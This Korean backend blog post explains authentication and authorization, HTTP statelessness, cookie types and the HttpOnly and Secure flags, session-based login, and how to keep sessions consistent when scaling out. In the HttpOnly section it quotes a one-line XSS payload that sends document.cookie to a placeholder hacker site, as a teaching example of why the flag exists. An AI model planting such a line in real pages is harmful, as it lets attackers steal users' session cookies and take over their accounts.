인증 알아보기 (쿠키와 세션)

2024. 2. 17. 20:29Backend

인증(Authentication)과 인가(Authorization)

 

✔️ 인증 (Authentication)

식별 가능한 정보를 이용하여 서비스에 등록된 유저의 신원을 입증하는 과정을 의미한다.

쉽게 말해서 로그인이다.

 

 

 

 

 

✔️ 인가 (Authorization)

인증된 사용자에 대해서 요청에 대한 권한을 확인하는 과정을 의미한다.

 

인스타그램을 예시로 들면,

내가 작성한 피드를 수정하는 것은 가능하지만 다른 사람의 피드는 내가 수정할 수 없다.

이는 다른 사람의 피드를 수정할 권한이 없기 때문인데, 이를 인가되지 않았다고 한다.

 

 

 

 

 

 

 

HTTP 프로토콜의 특징

 

✔️ 무상태성(Stateless)

서버는 클라이언트의 HTTP 요청 정보를 저장하지 않는다.

클라이언트가 요청을 여러번 보냈다고 하더라도, 각 요청들의 맥락이 유지되지 않는 것이다.

무상태성을 쉽게 이해하면 다음과 같다.

클라이언트: 밥 주세요.
서버: 조금만 기다리세요.

클라이언트: 얼마정도 기다리나요?
서버: 뭘요?

 

참고 - 서버는 상태를 유지하지 않으므로 수평 확장(scale out)에 유리하다.

 

 

 

 

✔️ 인증과의 관계

HTTP에서는 상태를 저장하지 않는다.

즉 모든 요청이 맥락 없이 독립적으로 처리되는 것이다.

 

따러서 클라이언트가 인증 이후 특정 요청을 보냈다고 하더라도,

서버는 들어온 요청이 인증된 사용자의 요청인지를 알지 못한다.

 

그럼 우리는 지금까지 진행한 로그인은 어떻게 진행된걸까?

 

 

 

 

쿠키

웹 브라우저에 Key-Value 형태로 저장되는 데이터이다.

 

쿠키를 통해 위에서 살펴본 로그인 문제를 아래와 같이 해결할 수 있다.

 

 

✔️ 쿠키의 종류

  • 영속 쿠키 : 만료 날짜를 입력하면 해당 날짜까지 쿠키가 유지된다.
  • 세션 쿠키 : 만료 날짜를 입력하지 않으면 쿠키는 브라우저 종료시까지만 유지된다.

스프링에서는 다음과 같이 쿠키를 생성하고 제공할 수 있다.

Cookie cookie = new Cookie("user", "홍길동");
response.addCookie(cookie);  // response는 HttpServletResponse

 

 

 

 

✔️ 보안 문제

쿠키에 들어있는 값은 사용자가 임의로 변경 가능하다.

즉 user="홍길동" 이라는 쿠키를 user="청길동" 으로 변경하여 서버에 전송하는 것도 가능하다.

이렇게 되면 당연히 인증하지 않고도 쿠키를 위조하여 다른 사람인 척 할 수 있으므로 문제가 된다.

 

쿠키를 탈취하는 것 또한 가능하다.

궁금하다면 세션 하이재킹(Session Hijacking)XSS(Cross Site Scripting) 등을 찾아보자.

 

 

 

 

 

✔️ HTTP Only Cookie

XSS 공격을 간단히 살펴보자.

location.href = 'http://해커사이트/?cookies=' + document.cookie;

위와 같이 작성된 코드를 사용자가 클릭한다면, 해커의 사이트로 사용자의 모든 쿠키가 전송된다.

 

이러헌 XSS 공격을 방지하기 위해 브라우저에서 쿠키에 접근할 수 없도록 제한할 수 있는데,

이때 사용되는 방법이 HTTP Only Cookie이다.

 

참고로 HTTP Only Cookie를 사용하더라도 XSS 공격으로부터 완전히 안전한것은 아니다.
궁금하다면 HTTP Only 우회로 검색해보자.

 

 

 

 

 

✔️ Secure 쿠키

HTTP Only 쿠키를 통해 Js를 통한 탈취 문제를 해결할 수 있다

 

그러나 Js 대신 네트워크를 직접 감청하는 등의 방식을 비롯하여,

쿠키는 어떠한 방법으로도 탈취될 가능성이 있다.

 

이러한 상황에 대비하기 위해, HTTPS 프로토콜을 사용한다.

HTTPS 프로토콜을 사용하면 쿠키에 대한 정보 또한 암호화되므로 탈취되더라도 안전하다.

 

그런데 쿠키는 기본적으로 모든 요청에 포함되어 전송된다.

즉 HTTPS 프로토콜이 아니라도 쿠키의 정보가 전달된다는 것이다.

 

이러한 문제를 위해 Secure 옵션이 존재한다.

Secure 로 설정된 쿠키는 HTTPS 인 경우에만 전달된다.

 

 

 

 

 

✔️ 쿠키의 문제점

위에서 살펴본 것과 같이 쿠키에 개인정보가 저장되어 있다면,

쿠키가 탈취되는 경우 큰 문제가 발생할 수 있다.

 

또한 모든 요청에 쿠키가 전송되기 때문에 쿠키에 저장되는 정보가 커지고 쿠키의 개수가 많아진다면,

이는 큰 오버헤드를 발생시키게 된다.

(이를 방지하기 위해 기본적으로 쿠키에 저장되는 데이터는 4KB, 사이트당 쿠키의 개수는 20개로 제한되어 있다.)

 

 

 

 

 

 

세션

쿠키의 여러 문제점을 해결하기 위해 세션을 사용할 수 있다.

세션은 쿠키와 달리 정보를 서버에 저장한다.

 

세션은 다음과 같은 방식으로 동작한다.

  1. 인증된 사용자에 대한 식별자에 대응되는 임의의 문자열(SessionID)을 생성한다.
  2. 생성된 SessionID를 쿠키에 담아 브라우저에 전달한다
  3. 브라우저는 이후 요청에서 SessionID 정보가 담긴 쿠키를 바탕으로 요청을 진행한다.

결국 클라이언트는 민감한 정보가 들어있지 않는 쿠키를 바탕으로 인증을 진행할 수 있게 된다.

 

 

 

 

 

✔️ 쿠키 VS 세션

세션에 대한 SessionID를 쿠키에 저장하므로, 세션을 사용하기 위해서는 쿠키가 필수적이다.

 

이 둘의 차이점은 정보의 저장 위치이다.

쿠키클라이언트(브라우저)에 저장되며, 세션서버에 저장된다.

 

쿠키는 브라우저에 저장되므로 탈취, 변조등의 위험이 존재하는 반면,

세션은 서버에 저장되므로 쿠키에 비해 비교적 안전하다.

 

그러나 세션은 쿠키에 비해 느리기 때문에,

쿠키와 세션을 상황에 맞게 적절히 사용해야 한다.

 

 

 

 

 

 

✔️ 세션 기반 인증의 문제점

서비스를 이용하는 사용자가 많아져서 서버를 확장할 상황에 처했다고 가정하자.

 

서버를 확장하는 방법으로는 스케일 업과 스케일 아웃이 있는데,

그 중 스케일 아웃을 하는 상황이라 가정하자.

스케일 아웃은 수평 확장이라고도 불리며 여러 대의 서버를 추가로 사용함으로써 성능을 증가시키는 방법이다.

 

스케일 아웃 방식을 사용하면 서버 별로 세션을 따로 관리하기 때문에 세션 불일치 문제가 발생하게 된다.

https://liasn.tistory.com/3

 

 

이러한 세션 불일치 문제를 해결하기 위해서는 Sticky Session, Session Clustering, Session Storage 방식을 사용할 수 있다.

 

 

 

 

 

✔️ Sticky Session

동일한 클라이언트(세션)의 요청을 처음 요청이 처리된 서버로만 보내는 방법이다.

쿠키를 사용하거나 클라이언트의 IP등을 확인하여 요청을 특정 서버로 고정시키킬 수 있다.

 

 

이는 로드 밸런서를 설정함으로써 사용 가능한 방식이지만, 트래픽이 한 곳으로 몰릴 수 있다는 단점이 있다.

또한 서버의 가용성을 최대한 활용하지 못한다는 단점도 존재한다.

 

 

 

 

 

✔️ Session Clustering

특정 서버에서 세션이 생성되는 경우,

이를 다른 서버로 전파하여 세션을 복제하는 방식으로 세션 불일치 문제를 해결하는 방식이다.

 

Session Clustering은 WAS에서 지원해준다.

이때 WAS마다 지원하는 방식이 다르기 때문에 사용하는 WAS에 따라 따로 설정 방법을 확인해서 적용해줘야 한다.

 

세션 클러스터링은 scale out으로 인해 새로운 서버가 추가될 때마다 기존에 존재하던 WAS에 새로운 서버의 IP/Port를 입력해주어야 한다는 단점이 있다.

 

즉 새로운 서버가 띄워짐에 따라 기존 서버에 수정이 발생하고,

이로 인해 휴먼 애러가 발생할 가능성이 높아진다.

 

 

 

 

 

✔️  Session Server 분리

세션을 저장하는 세션 서버를 외부 서버로 분리하여 사용하는 방식이다.

 

이때 세션 서버로는 디스크 기반의 Mysql, MongoDB등을 사용할 수 있지만,

입출력이 잦은 세션의 특성 상 In-Memory DB인 Redis 등을 사용하는 것이 일반적이다.

 

해당 방식은 새로운 서버를 띄우더라도 기존 서버의 수정이 발생하지 않는다는 장점이 있지만,

외부 서버를 거쳐야 하므로 성능이 조금 느려진다는 것과,

분리된 세션 서버가 죽는 순간 모든 세션이 사라지기 때문에 해당 세션 서버의 다중화와 데이터베이스의 Reflecation도 고려해야 한다.

 

 

 

 

 

 

참고

'Backend' 카테고리의 다른 글

인증 알아보기 (JWT)  (0) 2024.02.18